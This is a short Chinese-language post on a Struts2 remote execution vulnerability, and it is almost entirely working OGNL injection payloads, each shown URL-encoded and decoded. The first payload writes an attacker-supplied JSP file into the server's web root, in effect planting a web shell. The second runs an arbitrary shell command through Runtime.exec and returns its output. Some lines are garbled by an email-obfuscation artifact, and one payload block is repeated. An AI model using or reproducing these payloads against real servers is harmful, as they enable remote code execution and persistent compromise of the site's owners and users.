Struts2远程执行漏洞

第一种攻击方式：新建一个文件，在文件中写入一下自己的东西加上&data=要写入文件he1p.jsp文件中的内容
攻击地址?class.classLoader.jarPath=(
 %23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D+new+java.lang.Boolean(false)%2C+
 %23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C+
 %23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C+
 %23sb%3Dnew+java.lang.StringBuffer()%2C+%23sb.append(%23req.getRealPath("/"))%2C+
 %23sb.append("he1p.jsp")%2C+%23fos%3Dnew+java.io.FileOutputStream(%23sb.toString())%2C+
 %23fos.write(%23req.getParameter(‘data‘).getBytes())%2C+
 %23darky%3D%[email protected]().getWriter()%2C+
 %23darky.println("suceessful")%2C+
 %23darky.close()%2C+
 %23fos.close()
)(aa)&x[(class.classLoader.jarPath)(‘aa‘)]
转义后的源码：
攻击地址?class.classLoader.jarPath=(
 #context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),+
 #_memberAccess["allowStaticMethodAccess"]=true,+
 #[email protected]@getRequest(),+
 #sb=new+java.lang.StringBuffer(),+
 #sb.append(#req.getRealPath("/")),+
 #sb.append("he1p.jsp"),+
 #fos=new+java.io.FileOutputStream(#sb.toString()),+
 #fos.write(#req.getParameter(‘data‘).getBytes()),+
 #[email protected]@getResponse().getWriter(),+
 #darky.println("suceessful"),+
 #darky.close(),+
 #fos.close()
)(aa)&x[(class.classLoader.jarPath)(‘aa‘)]
第二种攻击方式，执行CMD命令
攻击地址?class.classLoader.jarPath=(
 %23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D+new+java.lang.Boolean(false)%2C+
 %23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C+
 %23darky%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C+
 %23myret%3D%40java.lang.Runtime%40getRuntime().exec("ls -la")%2C+
 %23is%3D%23myret.getInputStream()%2C+
 %23s%3D+new+java.util.Scanner(%23is).useDelimiter("\\A")%2C+
 %23darky.println(%23s.next())%2C+
 %23darky.close()
)(aa)&x[(class.classLoader.jarPath)(‘aa‘)]
转义后的地址
攻击地址?class.classLoader.jarPath=(
 #context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),+
 #_memberAccess["allowStaticMethodAccess"]=true,+
 #[email protected]@getResponse().getWriter(),+
 #[email protected]@getRuntime().exec("ls -la"),+
 #is=#myret.getInputStream(),+
 #s=+new+java.util.Scanner(#is).useDelimiter("\\A"),+
 #darky.println(#s.next()),+
 #darky.close()
)(aa)&x[(class.classLoader.jarPath)(‘aa‘)]
攻击地址?class.classLoader.jarPath=(
 #context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),+
 #_memberAccess["allowStaticMethodAccess"]=true,+
 #[email protected]@getResponse().getWriter(),+
 #[email protected]@getRuntime().exec("ls -la"),+
 #is=#myret.getInputStream(),+
 #s=+new+java.util.Scanner(#is).useDelimiter("\\A"),+
 #darky.println(#s.next()),+
 #darky.close()
)(aa)&x[(class.classLoader.jarPath)(‘aa‘)]

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